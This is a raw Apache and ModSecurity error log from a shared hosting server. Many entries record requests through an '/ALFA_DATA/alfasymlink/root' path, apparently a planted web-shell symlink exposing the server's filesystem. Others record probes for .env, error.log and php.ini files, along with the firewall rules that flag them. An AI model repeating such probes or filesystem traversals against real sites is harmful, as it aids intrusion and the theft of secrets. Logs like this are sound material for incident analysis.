[Tue Oct 27 06:37:42.170702 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.206.212.24:22998] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:37:48.360523 2026] [security2:error] [pid 3219287:tid 3219287] [client 16.216.88.130:28672] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/arfooo/"] [unique_id "auB-_H3QSMGbzwlGMObVPgAAAAU"]
[Tue Oct 27 06:37:48.360570 2026] [security2:error] [pid 3219287:tid 3219287] [client 16.216.88.130:28672] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/arfooo/"] [unique_id "auB-_H3QSMGbzwlGMObVPgAAAAU"]
[Tue Oct 27 06:37:50.147900 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 52.204.71.8:50511] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:37:54.199918 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.215.59.93:43222] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:38:06.138613 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 18.235.81.246:59321] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu0/driver/cpu1/subsystem/uevent
[Tue Oct 27 06:38:33.909288 2026] [security2:error] [pid 3209616:tid 3209616] [client 185.191.171.12:31052] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/error.log"] [unique_id "auB_KRpfUBgvi1kircRUPQAAABg"]
[Tue Oct 27 06:38:33.909671 2026] [security2:error] [pid 3209616:tid 3209616] [client 185.191.171.12:31052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/error.log"] [unique_id "auB_KRpfUBgvi1kircRUPQAAABg"]
[Tue Oct 27 06:38:33.910609 2026] [security2:error] [pid 3209616:tid 3209616] [client 185.191.171.12:31052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "auB_KRpfUBgvi1kircRUPQAAABg"]
[Tue Oct 27 06:38:34.164260 2026] [ssl:error] [pid 3219287:tid 3219287] (70014)End of file found: [client 23.21.225.190:9840] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:38:47.784998 2026] [security2:error] [pid 3201647:tid 3201647] [client 43.153.7.191:52874] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "auB_N5VvqGtwGAy54pYPegAAAA0"]
[Tue Oct 27 06:38:50.290463 2026] [ssl:error] [pid 3219287:tid 3219287] (70014)End of file found: [client 52.204.37.237:49476] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:38:53.918989 2026] [security2:error] [pid 3209601:tid 3209601] [client 185.170.167.18:41070] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/error.log"] [unique_id "auB_PQJ0bI7Z9n11TMACGgAAAAA"]
[Tue Oct 27 06:38:53.919338 2026] [security2:error] [pid 3209601:tid 3209601] [client 185.170.167.18:41070] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/error.log"] [unique_id "auB_PQJ0bI7Z9n11TMACGgAAAAA"]
[Tue Oct 27 06:38:53.920174 2026] [security2:error] [pid 3209601:tid 3209601] [client 185.170.167.18:41070] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "auB_PQJ0bI7Z9n11TMACGgAAAAA"]
[Tue Oct 27 06:39:01.160052 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 85.208.96.199:44866] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:39:02.150299 2026] [ssl:error] [pid 3219287:tid 3219287] (70014)End of file found: [client 3.210.114.189:3298] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:39:02.224879 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 185.191.171.10:15886] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:39:18.261062 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 100.29.164.178:64519] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:39:22.380037 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.235.172.96:52483] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:39:42.147056 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.213.36.21:22156] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:39:58.146728 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 44.193.115.232:8209] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup8/device/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/ac/uevent
[Tue Oct 27 06:40:06.383011 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 52.204.37.237:4911] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:40:07.390714 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.208.96.195:43180] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/perl5/vendor_perl/auto/Digest/"] [unique_id "auB_h5ekxYBRCO5jo1OHiQAAABA"]
[Tue Oct 27 06:40:07.390754 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.208.96.195:43180] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/perl5/vendor_perl/auto/Digest/"] [unique_id "auB_h5ekxYBRCO5jo1OHiQAAABA"]
[Tue Oct 27 06:40:14.137752 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.202.233.37:17711] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:40:18.156770 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 98.83.72.38:61296] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:40:22.135806 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 3.216.86.144:11252] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:40:26.137485 2026] [security2:error] [pid 3201640:tid 3201640] [client 18.213.102.186:60211] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/ata_port/ata2/device/host1/subsystem/drivers/sr/1:0:0:0/block/sr0/subsystem/loop0/bdi/"] [unique_id "auB_muJWPhOgLfVxy6aTEQAAAAI"]
[Tue Oct 27 06:40:26.137526 2026] [security2:error] [pid 3201640:tid 3201640] [client 18.213.102.186:60211] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/ata_port/ata2/device/host1/subsystem/drivers/sr/1:0:0:0/block/sr0/subsystem/loop0/bdi/"] [unique_id "auB_muJWPhOgLfVxy6aTEQAAAAI"]
[Tue Oct 27 06:40:34.145579 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 44.216.172.204:25499] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/ttyS2/device/driver/uevent
[Tue Oct 27 06:40:42.174661 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.219.81.66:17665] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:41:06.158084 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 18.207.89.138:41344] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:41:10.170187 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 100.29.63.24:47597] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:41:14.161762 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 98.83.94.113:8446] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:41:30.167130 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.6.232.201:54688] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:41:46.165297 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.221.203.24:50529] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:41:58.160579 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.202.233.37:14958] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:42:02.205777 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 18.232.11.247:21846] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:42:06.166535 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 44.195.50.71:33988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/driver/module/uevent
[Tue Oct 27 06:42:18.297714 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.89.176.255:31920] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:42:26.227084 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.5.242.243:17878] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:42:42.176764 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 98.82.63.147:4209] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:42:46.171159 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.84.161.62:9605] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:42:54.151086 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 52.44.174.136:43592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/node0/memory18/subsystem/uevent
[Tue Oct 27 06:43:06.155455 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.200.142.199:9703] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:43:10.185714 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.226.89.140:32380] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:43:16.079045 2026] [proxy_fcgi:error] [pid 3209616:tid 3209616] [client 203.159.90.219:54946] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 06:43:30.154425 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 18.211.148.239:52787] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:43:46.384994 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 44.213.202.136:53386] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:43:54.185680 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 54.197.178.107:36318] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:43:57.837087 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 185.191.171.7:64680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/sanity_checks
[Tue Oct 27 06:44:10.275624 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 100.28.44.58:17667] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.AYxCv3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.AYxCv3/' is executable
[Tue Oct 27 06:44:10.652710 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 100.28.44.58:17667] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.K8ajdF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/cache/dnf/EA4-c8-afeacb379ca0a246/libdnf.K8ajdF/' is executable
[Tue Oct 27 06:44:18.210023 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.163.169.168:13130] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:44:18.210225 2026] [security2:error] [pid 3201656:tid 3201656] [client 54.163.169.168:13130] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/uhci_hcd/0000:00:01.2/consistent_dma_mask_bits"] [unique_id "auCAgkmqTSs7laY6jMTi9AAAABc"]
[Tue Oct 27 06:44:18.210248 2026] [security2:error] [pid 3201656:tid 3201656] [client 54.163.169.168:13130] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/uhci_hcd/0000:00:01.2/consistent_dma_mask_bits"] [unique_id "auCAgkmqTSs7laY6jMTi9AAAABc"]
[Tue Oct 27 06:44:22.192210 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.88.84.219:33402] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:44:22.558394 2026] [proxy_fcgi:error] [pid 3209611:tid 3209611] [client 165.227.1.125:51725] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 06:44:42.196099 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 100.28.49.152:64881] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/subsystem/drivers/button/uevent
[Tue Oct 27 06:44:58.158935 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.222.190.107:31654] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:45:06.918190 2026] [core:error] [pid 3219287:tid 3219287] (13)Permission denied: [client 144.76.19.24:18844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/syscall
[Tue Oct 27 06:45:18.199860 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.205.163.103:27028] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:45:26.168639 2026] [ssl:error] [pid 3209601:tid 3209601] (5)Input/output error: [client 44.209.89.189:32650] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:45:30.152204 2026] [ssl:error] [pid 3219287:tid 3219287] (70014)End of file found: [client 54.90.8.255:56769] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:45:46.165969 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 23.23.214.190:2076] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:46:06.140267 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 100.29.155.89:45487] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:46:19.841932 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 185.191.171.2:49720] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:46:21.999030 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 85.208.96.207:27888] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:46:22.220584 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 34.195.60.66:63688] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:46:26.166528 2026] [ssl:error] [pid 3219287:tid 3219287] (70014)End of file found: [client 100.29.63.24:22438] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:46:34.262669 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.164.106.236:8387] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:46:46.166726 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 107.22.208.39:9654] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:47:22.188100 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 35.170.205.140:44732] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:47:30.178739 2026] [ssl:error] [pid 3219287:tid 3219287] (70014)End of file found: [client 23.21.204.95:35507] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:47:33.163268 2026] [authz_core:error] [pid 3201647:tid 3201647] [client 45.138.12.32:45362] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 06:47:34.005037 2026] [authz_core:error] [pid 3209611:tid 3209611] [client 45.138.12.32:45398] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 06:47:38.152932 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.227.156.153:2881] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:47:46.708083 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 185.191.171.14:50504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/cache_dma
[Tue Oct 27 06:48:02.161532 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 3.217.171.106:31380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:05.0/resource4
[Tue Oct 27 06:48:26.555446 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.217.255.167:41063] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:48:34.260125 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.92.171.106:64922] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:48:43.539009 2026] [authz_core:error] [pid 3212771:tid 3212771] [client 64.225.44.195:63211] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 06:48:43.836054 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 85.208.96.204:58200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_node/objects
[Tue Oct 27 06:48:46.163592 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.94.40.182:28369] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:48:50.215379 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 34.239.197.197:14386] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:48:54.160549 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 85.208.96.193:11350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/aliases
[Tue Oct 27 06:49:02.170648 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.54.95.127:22591] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:49:06.268384 2026] [ssl:error] [pid 3219292:tid 3219292] (22)Invalid argument: [client 98.84.60.17:59078] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:49:08.703017 2026] [security2:error] [pid 3209603:tid 3209603] [client 185.191.171.18:39124] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/typo/install.php"] [unique_id "auCBpD4THoroSjopRdX_iwAAAAE"]
[Tue Oct 27 06:49:08.703070 2026] [security2:error] [pid 3209603:tid 3209603] [client 185.191.171.18:39124] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/typo/install.php"] [unique_id "auCBpD4THoroSjopRdX_iwAAAAE"]
[Tue Oct 27 06:49:18.560170 2026] [ssl:error] [pid 3219287:tid 3219287] (70014)End of file found: [client 34.196.237.236:13234] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:49:22.326478 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 52.201.155.215:60872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:49:50.266126 2026] [ssl:error] [pid 3219287:tid 3219287] (70014)End of file found: [client 3.218.103.254:60872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:49:58.160730 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.202.88.37:52212] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:02.156998 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 107.20.255.194:37846] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:14.167520 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 98.82.66.172:41492] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:18.004834 2026] [ssl:error] [pid 3219287:tid 3219287] (70014)End of file found: [client 185.191.171.14:26274] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:18.174910 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.206.65.8:6933] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:22.171793 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 23.23.137.202:28970] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:26.151738 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.84.147.79:9693] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:30.204196 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.212.232.231:12788] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:34.310590 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.155.15.20:35152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auCB-pekxYBRCO5jo1OHogAAABA"]
[Tue Oct 27 06:50:34.310590 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCB-pVvqGtwGAy54pYPmAAAAA0"]
